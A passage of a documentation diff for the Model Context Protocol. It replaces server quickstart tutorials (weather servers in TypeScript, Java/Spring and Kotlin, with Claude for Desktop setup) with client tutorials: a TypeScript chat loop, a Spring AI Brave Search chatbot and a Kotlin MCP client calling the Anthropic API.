StdioServerTransport(); - await server.connect(transport); - console.error("Weather MCP Server running on stdio"); - } - - main().catch((error) => { - console.error("Fatal error in main():", error); - process.exit(1); - }); + async chatLoop() { + const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + }); + + try { + console.log("\nMCP Client Started!"); + console.log("Type your queries or 'quit' to exit."); + + while (true) { + const message = await rl.question("\nQuery: "); + if (message.toLowerCase() === "quit") { + break; + } + const response = await this.processQuery(message); + console.log("\n" + response); + } + } finally { + rl.close(); + } + } + + async cleanup() { + await this.mcp.close(); + } ``` - Make sure to run `npm run build` to build your server! This is a very important step in getting your server to connect. + ### Main Entry Point - Let's now test your server from an existing MCP host, Claude for Desktop. + Finally, we'll add the main execution logic: - ## Testing your server with Claude for Desktop + ```typescript theme={null} + async function main() { + if (process.argv.length < 3) { + console.log("Usage: node index.ts "); + return; + } + const mcpClient = new MCPClient(); + try { + await mcpClient.connectToServer(process.argv[2]); + await mcpClient.chatLoop(); + } catch (e) { + console.error("Error:", e); + await mcpClient.cleanup(); + process.exit(1); + } finally { + await mcpClient.cleanup(); + process.exit(0); + } + } + + main(); + ``` + + ## Running the Client + + To run your client with any MCP server: + + ```bash theme={null} + # Build TypeScript + npm run build + + # Run the client + node build/index.js path/to/server.py # python server + node build/index.js path/to/build/index.js # node server + ``` - Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. + If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript), your command might look something like this: `node build/index.js .../quickstart-resources/weather-server-typescript/build/index.js` - First, make sure you have Claude for Desktop installed. [You can install the latest version - here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** + **The client will:** - We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist. + 1. Connect to the specified server + 2. List available tools + 3. Start an interactive chat session where you can: + * Enter queries + * See tool executions + * Get responses from Claude - For example, if you have [VS Code](https://code.visualstudio.com/) installed: + ## How It Works - - ```bash macOS/Linux theme={null} - code ~/Library/Application\ Support/Claude/claude_desktop_config.json - ``` + When you submit a query: - ```powershell Windows theme={null} - code $env:AppData\Claude\claude_desktop_config.json - ``` - + 1. The client gets the list of available tools from the server + 2. Your query is sent to Claude along with tool descriptions + 3. Claude decides which tools (if any) to use + 4. The client executes any requested tool calls through the server + 5. Results are sent back to Claude + 6. Claude provides a natural language response + 7. The response is displayed to you - You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. + ## Best practices - In this case, we'll add our single weather server like so: + 1. **Error Handling** + * Use TypeScript's type system for better error detection + * Wrap tool calls in try-catch blocks + * Provide meaningful error messages + * Gracefully handle connection issues - - ```json macOS/Linux theme={null} - { - "mcpServers": { - "weather": { - "command": "node", - "args": ["/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js"] - } - } - } - ``` + 2. **Security** + * Store API keys securely in `.env` + * Validate server responses + * Be cautious with tool permissions - ```json Windows theme={null} - { - "mcpServers": { - "weather": { - "command": "node", - "args": ["C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\index.js"] - } - } - } - ``` - + ## Troubleshooting - This tells Claude for Desktop: + ### Server Path Issues - 1. There's an MCP server named "weather" - 2. Launch it by running `node /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/index.js` + * Double-check the path to your server script is correct + * Use the absolute path if the relative path isn't working + * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path + * Verify the server file has the correct extension (.js for Node.js or .py for Python) - Save the file, and restart **Claude for Desktop**. + Example of correct path usage: + + ```bash theme={null} + # Relative path + node build/index.js ./server/build/index.js + + # Absolute path + node build/index.js /Users/username/projects/mcp-server/build/index.js + + # Windows path (either format works) + node build/index.js C:/projects/mcp-server/build/index.js + node build/index.js C:\\projects\\mcp-server\\build\\index.js + ``` + + ### Response Timing + + * The first response might take up to 30 seconds to return + * This is normal and happens while: + * The server initializes + * Claude processes the query + * Tools are being executed + * Subsequent responses are typically faster + * Don't interrupt the process during this initial waiting period + + ### Common Error Messages + + If you see: + + * `Error: Cannot find module`: Check your build folder and ensure TypeScript compilation succeeded + * `Connection refused`: Ensure the server is running and the path is correct + * `Tool execution failed`: Verify the tool's required environment variables are set + * `ANTHROPIC_API_KEY is not set`: Check your .env file and environment variables + * `TypeError`: Ensure you're using the correct types for tool arguments + * `BadRequestError`: Ensure you have enough credits to access the Anthropic API This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters. - To learn how to create sync and async MCP Servers, manually, consult the [Java SDK Server](/sdk/java/mcp-server) documentation. + To learn how to create sync and async MCP Clients manually, consult the [Java SDK Client](https://java.sdk.modelcontextprotocol.io/) documentation - Let's get started with building our weather server! - [You can find the complete code for what we'll be building here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-stdio-server) - - For more information, see the [MCP Server Boot Starter](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html) reference documentation. - For manual MCP Server implementation, refer to the [MCP Server Java SDK documentation](/sdk/java/mcp-server). + This example demonstrates how to build an interactive chatbot that combines Spring AI's Model Context Protocol (MCP) with the [Brave Search MCP Server](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/brave-search). The application creates a conversational interface powered by Anthropic's Claude AI model that can perform internet searches through Brave Search, enabling natural language interactions with real-time web data. + [You can find the complete code for this tutorial here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/web-search/brave-chatbot) - ### Logging in MCP Servers + ## System Requirements - When implementing MCP servers, be careful about how you handle logging: + Before starting, ensure your system meets these requirements: - **For STDIO-based servers:** Never write to standard output (stdout). This includes: + * Java 17 or higher + * Maven 3.6+ + * npx package manager + * Anthropic API key (Claude) + * Brave Search API key - * `print()` statements in Python - * `console.log()` in JavaScript - * `fmt.Println()` in Go - * Similar stdout functions in other languages + ## Setting Up Your Environment - Writing to stdout will corrupt the JSON-RPC messages and break your server. + 1. Install npx (Node Package eXecute): + First, make sure to install [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm) + and then run: - **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. + ```bash theme={null} + npm install -g npx + ``` - ### Best Practices + 2. Clone the repository: - 1. Use a logging library that writes to stderr or files. - 2. Ensure any configured logging library will not write to STDOUT + ```bash theme={null} + git clone https://github.com/spring-projects/spring-ai-examples.git + cd model-context-protocol/web-search/brave-chatbot + ``` - ### System requirements + 3. Set up your API keys: - * Java 17 or higher installed. - * [Spring Boot 3.3.x](https://docs.spring.io/spring-boot/installing.html) or higher + ```bash theme={null} + export ANTHROPIC_API_KEY='your-anthropic-api-key-here' + export BRAVE_API_KEY='your-brave-api-key-here' + ``` - ### Set up your environment + 4. Build the application: - Use the [Spring Initializer](https://start.spring.io/) to bootstrap the project. + ```bash theme={null} + ./mvnw clean install + ``` - You will need to add the following dependencies: + 5. Run the application using Maven: + ```bash theme={null} + ./mvnw spring-boot:run + ``` - - ```xml Maven theme={null} - - - org.springframework.ai - spring-ai-starter-mcp-server - + + Make sure you keep your `ANTHROPIC_API_KEY` and `BRAVE_API_KEY` keys secure! + - - org.springframework - spring-web - - - ``` + ## How it Works - ```groovy Gradle theme={null} - dependencies { - implementation platform("org.springframework.ai:spring-ai-starter-mcp-server") - implementation platform("org.springframework:spring-web") - } - ``` - + The application integrates Spring AI with the Brave Search MCP server through several components: - Then configure your application by setting the application properties: + ### MCP Client Configuration - - ```bash application.properties theme={null} - spring.main.bannerMode=off - logging.pattern.console= - ``` + 1. Required dependencies in pom.xml: - ```yaml application.yml theme={null} - logging: - pattern: - console: - spring: - main: - banner-mode: off - ``` - + ```xml theme={null} + + org.springframework.ai + spring-ai-starter-mcp-client + + + org.springframework.ai + spring-ai-starter-model-anthropic + + ``` - The [Server Configuration Properties](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-starter-docs.html#_configuration_properties) documents all available properties. + 2. Application properties (application.yml): - Now let's dive into building your server. + ```yml theme={null} + spring: + ai: + mcp: + client: + enabled: true + name: brave-search-client + version: 1.0.0 + type: SYNC + request-timeout: 20s + stdio: + root-change-notification: true + servers-configuration: classpath:/mcp-servers-config.json + toolcallback: + enabled: true + anthropic: + api-key: ${ANTHROPIC_API_KEY} + ``` - ## Building your server + This activates the `spring-ai-starter-mcp-client` to create one or more `McpClient`s based on the provided server configuration. + The `spring.ai.mcp.client.toolcallback.enabled=true` property enables the tool callback mechanism, that automatically registers all MCP tool as spring ai tools. + It is disabled by default. - ### Weather Service + 3. MCP Server Configuration (`mcp-servers-config.json`): - Let's implement a [WeatherService.java](https://github.com/spring-projects/spring-ai-examples/blob/main/model-context-protocol/weather/starter-stdio-server/src/main/java/org/springframework/ai/mcp/sample/server/WeatherService.java) that uses a REST client to query the data from the National Weather Service API: + ```json theme={null} + { + "mcpServers": { + "brave-search": { + "command": "npx", + "args": ["-y", "@modelcontextprotocol/server-brave-search"], + "env": { + "BRAVE_API_KEY": "" + } + } + } + } + ``` - ```java theme={null} - @Service - public class WeatherService { + ### Chat Implementation - private final RestClient restClient; + The chatbot is implemented using Spring AI's ChatClient with MCP tool integration: - public WeatherService() { - this.restClient = RestClient.builder() - .baseUrl("https://api.weather.gov") - .defaultHeader("Accept", "application/geo+json") - .defaultHeader("User-Agent", "WeatherApiClient/1.0 (your@email.com)") - .build(); - } + ```java theme={null} + var chatClient = chatClientBuilder + .defaultSystem("You are useful assistant, expert in AI and Java.") + .defaultToolCallbacks((Object[]) mcpToolAdapter.toolCallbacks()) + .defaultAdvisors(new MessageChatMemoryAdvisor(new InMemoryChatMemory())) + .build(); + ``` - @Tool(description = "Get weather forecast for a specific latitude/longitude") - public String getWeatherForecastByLocation( - double latitude, // Latitude coordinate - double longitude // Longitude coordinate - ) { - // Returns detailed forecast including: - // - Temperature and unit - // - Wind speed and direction - // - Detailed forecast description - } + Key features: - @Tool(description = "Get weather alerts for a US state") - public String getAlerts( - @ToolParam(description = "Two-letter US state code (e.g. CA, NY)") String state - ) { - // Returns active alerts including: - // - Event type - // - Affected area - // - Severity - // - Description - // - Safety instructions - } + * Uses Claude AI model for natural language understanding + * Integrates Brave Search through MCP for real-time web search capabilities + * Maintains conversation memory using InMemoryChatMemory + * Runs as an interactive command-line application - // ...... - } + ### Build and run + + ```bash theme={null} + ./mvnw clean install + java -jar ./target/ai-mcp-brave-chatbot-0.0.1-SNAPSHOT.jar ``` - The `@Service` annotation will auto-register the service in your application context. - The Spring AI `@Tool` annotation makes it easy to create and maintain MCP tools. + or - The auto-configuration will automatically register these tools with the MCP server. + ```bash theme={null} + ./mvnw spring-boot:run + ``` - ### Create your Boot Application + The application will start an interactive chat session where you can ask questions. The chatbot will use Brave Search when it needs to find information from the internet to answer your queries. - ```java theme={null} - @SpringBootApplication - public class McpServerApplication { + The chatbot can: - public static void main(String[] args) { - SpringApplication.run(McpServerApplication.class, args); - } + * Answer questions using its built-in knowledge + * Perform web searches when needed using Brave Search + * Remember context from previous messages in the conversation + * Combine information from multiple sources to provide comprehensive answers - @Bean - public ToolCallbackProvider weatherTools(WeatherService weatherService) { - return MethodToolCallbackProvider.builder().toolObjects(weatherService).build(); - } - } - ``` + ### Advanced Configuration - Uses the `MethodToolCallbackProvider` utils to convert the `@Tools` into actionable callbacks used by the MCP server. + The MCP client supports additional configuration options: - ### Running the server + * Client customization through `McpSyncClientCustomizer` or `McpAsyncClientCustomizer` + * Multiple clients with multiple transport types: `STDIO` and `SSE` (Server-Sent Events) + * Integration with Spring AI's tool execution framework + * Automatic client initialization and lifecycle management - Finally, let's build the server: + For WebFlux-based applications, you can use the WebFlux starter instead: - ```bash theme={null} - ./mvnw clean install + ```xml theme={null} + + org.springframework.ai + spring-ai-mcp-client-webflux-spring-boot-starter + ``` - This will generate an `mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` file within the `target` folder. + This provides similar functionality but uses a WebFlux-based SSE transport implementation, recommended for production deployments. + - Let's now test your server from an existing MCP host, Claude for Desktop. + + [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/kotlin-mcp-client) - ## Testing your server with Claude for Desktop + ## System Requirements - - Claude for Desktop is not yet available on Linux. - + Before starting, ensure your system meets these requirements: - First, make sure you have Claude for Desktop installed. - [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** + * JDK 11 or higher + * Anthropic API key (Claude) - We'll need to configure Claude for Desktop for whichever MCP servers you want to use. - To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. - Make sure to create the file if it doesn't exist. + ## Setting up your environment - For example, if you have [VS Code](https://code.visualstudio.com/) installed: + First, let's install `java` and `gradle` if you haven't already. + You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/). + Verify your `java` installation: + + ```bash theme={null} + java --version + ``` + + Now, let's create and set up your project: ```bash macOS/Linux theme={null} - code ~/Library/Application\ Support/Claude/claude_desktop_config.json + # Create a new directory for our project + mkdir kotlin-mcp-client + cd kotlin-mcp-client + + # Initialize a new kotlin project + gradle init ``` ```powershell Windows theme={null} - code $env:AppData\Claude\claude_desktop_config.json + # Create a new directory for our project + md kotlin-mcp-client + cd kotlin-mcp-client + # Initialize a new kotlin project + gradle init ``` - You'll then add your servers in the `mcpServers` key. - The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. + After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language. - In this case, we'll add our single weather server like so: + Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html). - - ```json macOS/Linux theme={null} - { - "mcpServers": { - "spring-ai-mcp-weather": { - "command": "java", - "args": [ - "-Dspring.ai.mcp.server.stdio=true", - "-jar", - "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar" - ] - } - } - } - ``` + After creating the project, replace the contents of your `build.gradle.kts` with: - ```json Windows theme={null} - { - "mcpServers": { - "spring-ai-mcp-weather": { - "command": "java", - "args": [ - "-Dspring.ai.mcp.server.transport=STDIO", - "-jar", - "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar" - ] - } - } - } - ``` - + ```kotlin build.gradle.kts theme={null} + // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases + val mcpVersion = "0.9.0" + val ktorVersion = "3.2.3" + val anthropicVersion = "2.15.0" + val slf4jVersion = "2.0.17" - - Make sure you pass in the absolute path to your server. - + plugins { + kotlin("jvm") version "2.3.20" + id("com.gradleup.shadow") version "8.3.9" + application + } - This tells Claude for Desktop: + application { + mainClass.set("MainKt") + } - 1. There's an MCP server named "my-weather-server" - 2. To launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar` + dependencies { + implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion") + implementation("io.ktor:ktor-client-cio:$ktorVersion") + implementation("com.anthropic:anthropic-java:$anthropicVersion") + implementation("org.slf4j:slf4j-simple:$slf4jVersion") + } + ``` - Save the file, and restart **Claude for Desktop**. + Verify that everything is set up correctly: - ## Testing your server with Java client + ```bash theme={null} + ./gradlew build + ``` - ### Create an MCP Client manually + ## Setting up your API key - Use the `McpClient` to connect to the server: + You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys). - ```java theme={null} - var stdioParams = ServerParameters.builder("java") - .args("-jar", "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar") - .build(); + Set up your API key: - var stdioTransport = new StdioClientTransport(stdioParams); - - var mcpClient = McpClient.sync(stdioTransport).build(); - - mcpClient.initialize(); - - ListToolsResult toolsList = mcpClient.listTools(); - - CallToolResult weather = mcpClient.callTool( - new CallToolRequest("getWeatherForecastByLocation", - Map.of("latitude", "47.6062", "longitude", "-122.3321"))); - - CallToolResult alert = mcpClient.callTool( - new CallToolRequest("getAlerts", Map.of("state", "NY"))); - - mcpClient.closeGracefully(); - ``` - - ### Use MCP Client Boot Starter - - Create a new boot starter application using the `spring-ai-starter-mcp-client` dependency: - - ```xml theme={null} - - org.springframework.ai - spring-ai-starter-mcp-client - - ``` - - and set the `spring.ai.mcp.client.stdio.servers-configuration` property to point to your `claude_desktop_config.json`. - You can reuse the existing Anthropic Desktop configuration: - - ```properties theme={null} - spring.ai.mcp.client.stdio.servers-configuration=file:PATH/TO/claude_desktop_config.json + ```bash theme={null} + export ANTHROPIC_API_KEY='your-anthropic-api-key-here' ``` - When you start your client application, the auto-configuration will automatically create MCP clients from the claude\_desktop\_config.json. + + Make sure you keep your `ANTHROPIC_API_KEY` secure! + - For more information, see the [MCP Client Boot Starters](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-client-docs.html) reference documentation. + ## Creating the Client - ## More Java MCP Server examples + ### Basic Client Structure - The [starter-webflux-server](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-webflux-server) demonstrates how to create an MCP server using SSE transport. - It showcases how to define and register MCP Tools, Resources, and Prompts, using the Spring Boot's auto-configuration capabilities. - + First, let's create the basic client class: - - Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/weather-stdio-server) + ```kotlin theme={null} + class MCPClient(apiKey: String) : AutoCloseable { + private val anthropic = AnthropicOkHttpClient.builder() + .apiKey(apiKey) + .build() + + private val mcp: Client = Client( + clientInfo = Implementation(name = "mcp-client-cli", version = "1.0.0") + ) + private var serverProcess: Process? = null + private lateinit var tools: List - ### Prerequisite knowledge + // methods will go here - This quickstart assumes you have familiarity with: + override fun close() { + runBlocking { + mcp.close() + } + serverProcess?.destroy() + anthropic.close() + } + } + ``` - * Kotlin - * LLMs like Claude + ### Server connection management - ### System requirements + Next, we'll implement the method to connect to an MCP server: - * Java 17 or higher installed. + ```kotlin theme={null} + suspend fun connectToServer(serverScriptPath: String) { + val command = buildList { + when (serverScriptPath.substringAfterLast(".")) { + "js" -> add("node") + "py" -> add(if (System.getProperty("os.name").lowercase().contains("win")) "python" else "python3") + "jar" -> addAll(listOf("java", "-jar")) + else -> throw IllegalArgumentException("Server script must be a .js, .py or .jar file") + } + add(serverScriptPath) + } - ### Set up your environment + val process = ProcessBuilder(command).start() + serverProcess = process - First, let's install `java` and `gradle` if you haven't already. - You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/). - Verify your `java` installation: + val transport = StdioClientTransport( + input = process.inputStream.asSource().buffered(), + output = process.outputStream.asSink().buffered(), + ) - ```bash theme={null} - java --version + mcp.connect(transport) + + val toolsResult = mcp.listTools() + tools = toolsResult.tools.map { tool -> + ToolUnion.ofTool( + Tool.builder() + .name(tool.name) + .description(tool.description ?: "") + .inputSchema( + Tool.InputSchema.builder() + .type(JsonValue.from(tool.inputSchema.type)) + .properties(tool.inputSchema.properties?.toJsonValue() ?: EmptyJsonObject.toJsonValue()) + .putAdditionalProperty("required", JsonValue.from(tool.inputSchema.required)) + .build(), + ) + .build(), + ) + } + println("Connected to server with tools: ${tools.joinToString(", ") { it.tool().get().name() }}") + } ``` - Now, let's create and set up your project: - - - ```bash macOS/Linux theme={null} - # Create a new directory for our project - mkdir weather - cd weather - - # Initialize a new kotlin project - gradle init - ``` - - ```powershell Windows theme={null} - # Create a new directory for our project - md weather - cd weather + + This helper converts a kotlinx.serialization `JsonObject` to an Anthropic SDK `JsonValue` using Jackson: - # Initialize a new kotlin project - gradle init + ```kotlin theme={null} + private fun JsonObject.toJsonValue(): JsonValue { + val mapper = ObjectMapper() + val node = mapper.readTree(this.toString()) + return JsonValue.fromJsonNode(node) + } ``` - - - After running `gradle init`, you will be presented with options for creating your project. - Select **Application** as the project type, **Kotlin** as the programming language, and **Java 17** as the Java version. + - Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html). + ### Query processing logic - After creating the project, add the following dependencies: + Now let's add the core functionality for processing queries and handling tool calls: - - ```kotlin build.gradle.kts theme={null} - val mcpVersion = "0.4.0" - val slf4jVersion = "2.0.9" - val ktorVersion = "3.1.1" + ```kotlin theme={null} + suspend fun processQuery(query: String): String { + val messages = mutableListOf( + MessageParam.builder() + .role(MessageParam.Role.USER) + .content(query) + .build(), + ) - dependencies { - implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion") - implementation("org.slf4j:slf4j-nop:$slf4jVersion") - implementation("io.ktor:ktor-client-content-negotiation:$ktorVersion") - implementation("io.ktor:ktor-serialization-kotlinx-json:$ktorVersion") - } - ``` + val response = anthropic.messages().create( + MessageCreateParams.builder() + .model("claude-sonnet-4-20250514") + .maxTokens(1024) + .messages(messages) + .tools(tools) + .build(), + ) - ```groovy build.gradle theme={null} - def mcpVersion = '0.3.0' - def slf4jVersion = '2.0.9' - def ktorVersion = '3.1.1' + val finalText = mutableListOf() + response.content().forEach { content -> + when { + content.isText() -> finalText.add(content.text().get().text()) - dependencies { - implementation "io.modelcontextprotocol:kotlin-sdk:$mcpVersion" - implementation "org.slf4j:slf4j-nop:$slf4jVersion" - implementation "io.ktor:ktor-client-content-negotiation:$ktorVersion" - implementation "io.ktor:ktor-serialization-kotlinx-json:$ktorVersion" - } - ``` - + content.isToolUse() -> { + val toolName = content.toolUse().get().name() + val toolArgs = + content.toolUse().get()._input().convert(object : TypeReference>() {}) - Also, add the following plugins to your build script: + val result = mcp.callTool( + name = toolName, + arguments = toolArgs ?: emptyMap(), + ) + finalText.add("[Calling tool $toolName with args $toolArgs]") - - ```kotlin build.gradle.kts theme={null} - plugins { - kotlin("plugin.serialization") version "your_version_of_kotlin" - id("com.gradleup.shadow") version "8.3.9" - } - ``` + messages.add( + MessageParam.builder() + .role(MessageParam.Role.USER) + .content( + result.content + .filterIsInstance() + .joinToString("\n") { it.text } + ) + .build(), + ) - ```groovy build.gradle theme={null} - plugins { - id 'org.jetbrains.kotlin.plugin.serialization' version 'your_version_of_kotlin' - id 'com.gradleup.shadow' version '8.3.9' - } - ``` - + val aiResponse = anthropic.messages().create( + MessageCreateParams.builder() + .model("claude-sonnet-4-20250514") + .maxTokens(1024) + .messages(messages) + .build(), + ) - Now let’s dive into building your server. + finalText.add(aiResponse.content().first().text().get().text()) + } + } + } - ## Building your server + return finalText.joinToString("\n") + } + ``` - ### Setting up the instance + ### Interactive chat - Add a server initialization function: + We'll add the chat loop: ```kotlin theme={null} - // Main function to run the MCP server - fun `run mcp server`() { - // Create the MCP Server instance with a basic implementation - val server = Server( - Implementation( - name = "weather", // Tool name is "weather" - version = "1.0.0" // Version of the implementation - ), - ServerOptions( - capabilities = ServerCapabilities(tools = ServerCapabilities.Tools(listChanged = true)) - ) - ) - - // Create a transport using standard IO for server communication - val transport = StdioServerTransport( - System.`in`.asInput(), - System.out.asSink().buffered() - ) + suspend fun chatLoop() { + println("\nMCP Client Started!") + println("Type your queries or 'quit' to exit.") - runBlocking { - server.connect(transport) - val done = Job() - server.onClose { - done.complete() + while (true) { + print("\nQuery: ") + val message = readlnOrNull() ?: break + if (message.trim().lowercase() == "quit") break + + try { + val response = processQuery(message) + println("\n$response") + } catch (e: Exception) { + println("\nError: ${e.message}") } - done.join() } } ``` - ### Weather API helper functions + ### Main entry point - Next, let's add functions and data classes for querying and converting responses from the National Weather Service API: + Finally, we'll add the main execution function: ```kotlin theme={null} - // Extension function to fetch forecast information for given latitude and longitude - suspend fun HttpClient.getForecast(latitude: Double, longitude: Double): List { - val points = this.get("/points/$latitude,$longitude").body() - val forecast = this.get(points.properties.forecast).body() - return forecast.properties.periods.map { period -> - """ - ${period.name}: - Temperature: ${period.temperature} ${period.temperatureUnit} - Wind: ${period.windSpeed} ${period.windDirection} - Forecast: ${period.detailedForecast} - """.trimIndent() - } - } + fun main(args: Array) = runBlocking { + require(args.isNotEmpty()) { "Usage: java -jar " } - // Extension function to fetch weather alerts for a given state - suspend fun HttpClient.getAlerts(state: String): List { - val alerts = this.get("/alerts/active/area/$state").body() - return alerts.features.map { feature -> - """ - Event: ${feature.properties.event} - Area: ${feature.properties.areaDesc} - Severity: ${feature.properties.severity} - Description: ${feature.properties.description} - Instruction: ${feature.properties.instruction} - """.trimIndent() + val apiKey = System.getenv("ANTHROPIC_API_KEY") + require(!apiKey.isNullOrBlank()) { "ANTHROPIC_API_KEY environment variable is not set" } + + val client = MCPClient(apiKey) + client.use { + client.connectToServer(args.first()) + client.chatLoop() } } + ``` - @Serializable - data class Points( - val properties: Properties - ) { - @Serializable - data class Properties(val forecast: String) - } + ## Running the client - @Serializable - data class Forecast( - val properties: Properties - ) { - @Serializable - data class Properties(val periods: List) - - @Serializable - data class Period( - val number: Int, val name: String, val startTime: String, val endTime: String, - val isDaytime: Boolean, val temperature: Int, val temperatureUnit: String, - val temperatureTrend: String, val probabilityOfPrecipitation: JsonObject, - val windSpeed: String, val windDirection: String, - val shortForecast: String, val detailedForecast: String, - ) - } + To run your client with any MCP server: - @Serializable - data class Alert( - val features: List - ) { - @Serializable - data class Feature( - val properties: Properties - ) + ```bash theme={null} + ./gradlew build - @Serializable - data class Properties( - val event: String, val areaDesc: String, val severity: String, - val description: String, val instruction: String?, - ) - } + # Run the client + java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar path/to/server.jar # JVM server + java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar path/to/server.py # Python server + java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar path/to/build/index.js # Node server ``` - ### Implementing tool execution + Alternatively, you can run directly with Gradle: - The tool execution handler is responsible for actually executing the logic of each tool. Let's add it: + ```bash theme={null} + ./gradlew run --args="path/to/server.jar" + ``` - ```kotlin theme={null} - // Create an HTTP client with a default request configuration and JSON content negotiation - val httpClient = HttpClient { - defaultRequest { - url("https://api.weather.gov") - headers { - append("Accept", "application/geo+json") - append("User-Agent", "WeatherApiClient/1.0") - } - contentType(ContentType.Application.Json) - } - // Install content negotiation plugin for JSON serialization/deserialization - install(ContentNegotiation) { json(Json { ignoreUnknownKeys = true }) } - } + + If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar .../samples/weather-stdio-server/build/libs/weather-stdio-server-0.1.0-all.jar` + - // Register a tool to fetch weather alerts by state - server.addTool( - name = "get_alerts", - description = """ - Get weather alerts for a US state. Input is Two-letter US state code (e.g. CA, NY) - """.trimIndent(), - inputSchema = Tool.Input( - properties = buildJsonObject { - putJsonObject("state") { - put("type", "string") - put("description", "Two-letter US state code (e.g. CA, NY)") - } - }, - required = listOf("state") - ) - ) { request -> - val state = request.arguments["state"]?.jsonPrimitive?.content - if (state == null) { - return@addTool CallToolResult( - content = listOf(TextContent("The 'state' parameter is required.")) - ) - } + **The client will:** - val alerts = httpClient.getAlerts(state) + 1. Connect to the specified server + 2. List available tools + 3. Start an interactive chat session where you can: + * Enter queries + * See tool executions + * Get responses from Claude - CallToolResult(content = alerts.map { TextContent(it) }) - } + ## How it works - // Register a tool to fetch weather forecast by latitude and longitude - server.addTool( - name = "get_forecast", - description = """ - Get weather forecast for a specific latitude/longitude - """.trimIndent(), - inputSchema = Tool.Input( - properties = buildJsonObject { - putJsonObject("latitude") { put("type", "number") } - putJsonObject("longitude") { put("type", "number") } - }, - required = listOf("latitude", "longitude") - ) - ) { request -> - val latitude = request.arguments["latitude"]?.jsonPrimitive?.doubleOrNull - val longitude = request.arguments["longitude"]?.jsonPrimitive?.doubleOrNull - if (latitude == null || longitude == null) { - return@addTool CallToolResult( - content = listOf(TextContent("The 'latitude' and 'longitude' parameters are required.")) - ) - } + Here's a high-level workflow schema: - val forecast = httpClient.getForecast(latitude, longitude) + ```mermaid theme={null} + --- + config: + theme: neutral + --- + sequenceDiagram + actor User + participant Client + participant Claude + participant MCP_Server as MCP Server + participant Tools - CallToolResult(content = forecast.map { TextContent(it) }) - } + User->>Client: Send query + Client<<->>MCP_Server: Get available tools + Client->>Claude: Send query with tool descriptions + Claude-->>Client: Decide tool execution + Client->>MCP_Server: Request tool execution + MCP_Server->>Tools: Execute chosen tools + Tools-->>MCP_Server: Return results + MCP_Server-->>Client: Send results + Client->>Claude: Send tool results + Claude-->>Client: Provide final response + Client-->>User: Display response ``` - ### Running the server + When you submit a query: - Finally, implement the main function to run the server: + 1. The client gets the list of available tools from the server + 2. Your query is sent to Claude along with tool descriptions + 3. Claude decides which tools (if any) to use + 4. The client executes any requested tool calls through the server + 5. Results are sent back to Claude + 6. Claude provides a natural language response + 7. The response is displayed to you - ```kotlin theme={null} - fun main() = `run mcp server`() - ``` + ## Best practices - Make sure to run `./gradlew build` to build your server. This is a very important step in getting your server to connect. + 1. **Error Handling** + * Leverage Kotlin's type system to model errors explicitly + * Wrap external tool and API calls in `try-catch` blocks when exceptions are possible + * Provide clear and meaningful error messages + * Handle network timeouts and connection issues gracefully - Let's now test your server from an existing MCP host, Claude for Desktop. + 2. **Security** + * Store API keys and secrets securely in `local.properties`, environment variables, or secret managers + * Validate all external responses to avoid unexpected or unsafe data usage + * Be cautious with permissions and trust boundaries when using tools - ## Testing your server with Claude for Desktop + 3. **Environment** + * Set `ANTHROPIC_API_KEY` through environment variables rather than hardcoding + * Use `.env` files with appropriate `.gitignore` rules for local development - 